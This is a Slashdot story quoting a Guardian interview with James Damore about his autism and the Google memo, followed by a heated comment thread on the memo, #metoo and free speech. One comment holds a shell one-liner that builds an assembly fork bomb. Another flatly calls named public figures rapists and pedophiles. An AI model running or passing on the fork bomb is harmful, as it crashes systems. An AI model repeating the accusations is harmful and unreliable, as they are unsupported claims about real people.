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'I See Things Differently': James Damore on his Autism and the Google Memo (theguardian.com)
"James Damore opens up about his regrets -- and how autism may have shaped his experience of the world," writes the west coast bureau chief for the Guardian. An anonymous reader quotes their report:
The experience has prompted some introspection. In the course of several weeks of conversation using Google's instant messaging service, which Damore prefers to face-to-face communication, he opened up about an autism diagnosis that may in part explain the difficulties he experienced with his memo. He believes he has a problem understanding how his words will be interpreted by other people... It wasn't until his mid-20s, after completing research in computational biology at Princeton and MIT, and starting a PhD at Harvard, that Damore was diagnosed with autism, although he was told he had a milder version of the condition known as "high-functioning autism"...
Damore argues that Google's focus on avoiding "micro-aggressions" is "much harder for someone with autism to follow". But he stops short of saying autistic employees should be given more leniency if they unintentionally offend people at work. "I wouldn't necessarily treat someone differently," he explains. "But it definitely helps to understand where they're coming from." I ask Damore if, looking back over the last few months, he feels that his difficult experience with the memo and social media may be related to being on the spectrum. "Yeah, there's definitely been some self-reflection," he says. "Predicting controversies requires predicting what emotional reaction people will have to something. And that's not something that I excel at -- although I'm working on it."
Damore argues that Google's focus on avoiding "micro-aggressions" is "much harder for someone with autism to follow". But he stops short of saying autistic employees should be given more leniency if they unintentionally offend people at work. "I wouldn't necessarily treat someone differently," he explains. "But it definitely helps to understand where they're coming from." I ask Damore if, looking back over the last few months, he feels that his difficult experience with the memo and social media may be related to being on the spectrum. "Yeah, there's definitely been some self-reflection," he says. "Predicting controversies requires predicting what emotional reaction people will have to something. And that's not something that I excel at -- although I'm working on it."
Did he say that? All I see is that he might have misjudged the fallout. Doesn't mean he would have acted any differently though.
This is primarily a person of interest talking about a personal issue, nothing more.
> If you want to see why there was such a backlash to his memo, I think it can be made clearer in light of the #metoo discussion we are presently having.
I don't see why. The memo didn't deal with rape at work in any kind of way. It had a different subject.
> In the case of the major tech firm I used to work for, it was always quietly dealt with or outright swept under the rug, paying a quiet settlement and forcing the victim into a nondisclosure agreement. The victimizer got a slap on the wrist but was consideres too important to let go.
Good on you for speaking out now, then! Instead of, say, standing up for the victims at the time when it actually happened. Really shows what you're made of.
> That's the backdrop for this memo and why it landed with a wet splat. It is callous to those who have had illegal things done to them against their will at work.
Nope. Because this memo was not about rape at work.
> I don't have much sympathy for DaMoore, he could have made his helpful suggestions directly to HR. He wanted the most attention though.
No; he was taking part in an ongoing internal discussion and posting a _reply_ on an _internal_ forum in Google. He was not the person who broke company confidentiality and posted it on the internet. Incidentally, was this person ever found and punished?
> goatse
And don't forget to mention his KKK-membership, his nazi sympathies, the fact that he eats baby pandas every sunday, and the fact that he is a known child molester. Geez...
Damore's memo was not only factual but about as uncontroversial, well-written, and polite as a memo could be. The fact that one of the world's most powerful companies is being managed by emotional infants, that feeling leaders (I won't call them "thought leaders") are pressuring him to recant, and that even on Slashdot there are people attacking him, is pathetic and embarrassing.
If humanity is too emotional to even deal with obvious, mundane, and benign facts, there isn't much to say in favor of humanity.
Maybe the problem isn't with autists, but with the absurdly defective normies.
Nobody gave a flying fuck when Amy Schumer and Lena Dunham openly admitted to being rapists and pedophiles. Nobody cared when Amherst expelled a man who was raped while unconscious because his rapists claimed to have "withdrawn consent".
Your entire argument falls flat on its face when confronted with reality. This isn't about victims or equality, it's a witch hunt where all it takes is a social media post to ruin people's entire lives and career without a shred of evidence. Hell a Welsh Labor MP killed himself because he was suspended on charges he wasn't even allowed to know. We've literally hit the point where people are having their lives ruined and aren't even allowed to know what they're being accused of.
A bullet may have your name on it but splash damage is addressed "To whom it may concern."
It's entirely inflammatory and malicious because you're trying to paint him as an asshole. If we remove the "feelings" factor from the KKK portion, many geeks / nerds will find titles like "grand wizard" pretty cool. It's not hard to see that point. You're being the snowflake by over reacting to it and spinning a narrative to paint the guy in a negative light. Your post was modded correctly. Perhaps understanding nuance in a persons statements rather than kowtowing to a PC narrative would suit you better long term.
This baloney about "micro-aggressions" can be pretty hard to follow for regular un-autistic rational beings as well. You're not alone there, Damore...
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
I am autistic and I too have that same difficulty that James Damore has. I always have someone else look at a letter or document first to get their interpretation, even when I am invited to give my own unadulterated opinion. Why? Well, in the neurotypical (i.e. non-autistic) world people rarely say what they mean. The hidden meaning behind this opinion invitation could be, "Please compliment and flatter my decision or do not bother me. You risk sneaky retaliation if you disagree." I have to remember that the workplace is not a democracy, and in rigid oligarchies, you tow the line or your expunged.
James Damore made the classic mistake that some high functioning autistics make, they fire from the hip and sometimes act impulsively in matters that they are unable to understand or visualize the ultimate outcome. I found that it was key to recognizing this to make my behaviour more socially acceptable and I had to learn how to put myself in someone else's shoes, so to speak. If I have to send a letter or document that I even suspect might offend or alienate, I *always* have a neutral third party read it and then tell me their interpretation. Also, like some people on the sprectrum, I tend to have no filter and do not suffer fools very well so I have to take extra caution when dealing with people so I do not alienate them.
I actually suspect that James Damore was not really fired as a result of his memo itself but rather as a result of a behavioral-threat model. Damore's memo might have erroneously pinged a warning sign for workplace violence and Google let him go out of an abundance of caution. This is also the problem with the classic behavioral-threat model, it is geared towards analysis of non-autistic behaviour. Autistic behaviour could easily be misinterpreted as potentially dangerous. Most autistics however do not suffer from anti-social personality disorder or psychopathy. The differences between classic autism and Anti-Social Personality Disorder are rather stark. The easiest way for Google to rid itself of this perceived threat was just to terminate him for discrimination.
Its so easy to spout the usual "no it wasn't" line when your position is criticised, slightly less easy to google for an answer. So I did it for you.
https://thoughtcatalog.com/ano...
One day Matt calls her at 8 am, inviting Amy over to his dorm room. When Amy goes to his dorm room, she immediately recognizes that he is drunk:
I won't give you all the details, but it is important to note that Matt was repeatedly falling asleep during the encounter, according to Amy's story. It gives an indication as to how impaired Matt was, and how Amy let it continue despite the interruptions.
Now is that rape? If not, then all those other cases of men having intercourse with women who were drunk can't be considered rape either.
Lena Dunham though, I can't find any case there except for her defence of a Girls' Writer who was accused.
Right. But people didn't say "Oh you ignored this study, here's a link". They just tried to silence him by getting him fired. Gizmodo accused him of writing an 'anti diversity screed', and reproduced it without any of the charts and hyperlinks
https://gizmodo.com/exclusive-...
Vox called it a 'sexist screed' and said it reflected a 'divided tech culture' and said it ignored 'well documented gender biases'
https://www.vox.com/identities...
Vox didn't try to address his arguments, they all said he was
The memo's stereotype-based arguments and cries for less empathy sparked immediate controversy
In Damore's memo, he states that women are more "neurotic" and have a lower "stress tolerance" than men, and that these characteristics - not systemic harassment, routinely being passed over for promotions, or other well-documented instances of sexism in tech culture - are the reason why women do not succeed as often as men do in the high-pressure industry.
He also argues that men have a "higher drive for status" than women, and suggests that this factor, rather than well-documented gender biases in the workplace, may be responsible for the lack of women in leadership positions both at Google and in the tech industry as a whole.
Finally, Damore calls for Google to "De-empathize empathy," arguing that "being emotionally unengaged [with the issue of diversity] helps us better reason about the facts." He decries political correctness, discounting the very concept of unconscious bias and arguing against unconscious bias training for Google employees.
Google's VP of diversity said it 'it advanced incorrect assumptions about gender. and also refused to link to it because "itâ(TM)s not a viewpoint that I or this company endorses, promotes or encourages". I.e. no one addressed his arguments - they caricatured them and effectively labelled him a heretic to the diverse faith.
And you haven't addressed his arguments. You put rational is scare quotes, implying he's actually motivated by sexism.
And I think we can all agree that as traumatic as being downvoted on slashdot is, it's not as bad as being fired. Also look at the the difference in institutional power between the two sides of the argument. The CEO and VP on one side and some hapless engineer on the other. As soon as the engineer disagreed with them, they fired him. Which was a sign to other engineers not to argue with their ideas.
Not to mention most of the media immediately sided with Google and denounced him.
In the old days the left would say that racism/sexism was 'prejudice plus power'. I.e. that white men could be sexist and racist because they held institutional power, but non whites and non men could not be because they did not. The problem with that is that the left holds institutional power these days, at least in the media and at Google. So in that case Damore could at worse be prejudiced, not actually sexist.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It makes sense when you understand taking offense Is a tactic to exert power over others.
...given we're arguing on a thread about something Mr. Damore said, it's not like he's been silenced now is it?
He has been fired for saying something. Other people who may be sharing his concerns will take note, and think twice before raising them. This is effectively shutting up the discussion.
As an aside, the way Google fired Damore for raising concerns in an internal forum specifically presented as a place to raise concerns reminds me irresistibly of this little gem:
"I want someone to tell me", Lieutenant Scheisskopf beseeched to them all prayerfully. "If any of it is my fault, I want to be told."
"He wants someone to tell him," Clevinger said.
"He wants everyone to keep still, idiot," Yossarian answered.
"Didn't you hear him?" Clevinger argued.
"I heard him," Yossarian replied."I heard him say very loudly and very distinctly that he wants every one of us to keep our mouths shut if we know what's good for us."
"I won't punish you", Lieutenant Scheisskopf swore.
"He says he won't punish me", said Clevinger.
"He'll castrate you," said Yosarrian.
"I swear I won't punish you," said Lieutenant Scheisskopf."I'll be grateful to the man who tells me the truth."
"He'll hate you", said Yossarian."To his dying day he'll hate you."